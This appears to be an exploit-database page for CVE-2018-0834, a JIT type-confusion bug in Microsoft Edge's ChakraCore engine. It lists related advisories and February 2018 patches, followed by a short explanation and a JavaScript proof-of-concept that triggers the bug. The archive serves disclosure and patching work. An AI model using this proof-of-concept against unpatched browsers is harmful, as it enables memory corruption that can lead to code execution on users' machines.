| Reporter | Title | Published | Views | Family All 54 |
|---|---|---|---|---|
| CVE-2018-0834 | 15 Feb 201800:00 | – | circl | |
| Microsoft Edge and ChakraCore Remote Memory Corruption Vulnerability | 14 Feb 201800:00 | – | cnvd | |
| Microsoft Edge Scripting Engine Memory Corruption (CVE-2018-0834) | 13 Feb 201800:00 | – | checkpoint_advisories | |
| CVE-2018-0834 | 15 Feb 201802:00 | – | cve | |
| CVE-2018-0834 | 15 Feb 201802:00 | – | cvelist | |
| ChakraCore RCE Vulnerability | 13 May 202201:18 | – | github | |
| February 13, 2018—KB4074588 (OS Build 16299.248) | 13 Feb 201808:00 | – | mskb | |
| February 13, 2018—KB4074590 (OS Build 14393.2068) | 13 Feb 201808:00 | – | mskb | |
| February 13, 2018—KB4074591 (OS Build 10586.1417) | 13 Feb 201808:00 | – | mskb | |
| February 13, 2018—KB4074592 (OS Build 15063.909) | 13 Feb 201808:00 | – | mskb |
/*
If a native array is used as a prototype, it is converted to a Var array by the Js::JavascriptNativeFloatArray::SetIsPrototype method.
In the JIT compiler, it uses InitProto instructions to set object literals' prototype. But when optimizing those instructions, it doesn't reset the previous array validity even it can change the type of arrays. As a result, it can lead to type confusion.
Note: Expressions like "obj.__proto__" don't use InitProto instructions.
*/
function opt(arr, proto) {
arr[0] = 1.1;
let tmp = {__proto__: proto};
arr[0] = 2.3023e-320;
}
function main() {
let arr = [1.1, 2.2, 3.3];
for (let i = 0; i < 10000; i++) {
opt(arr, {});
}
opt(arr, arr);
print(arr);
}
main();
# 0day.today [2018-02-17] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation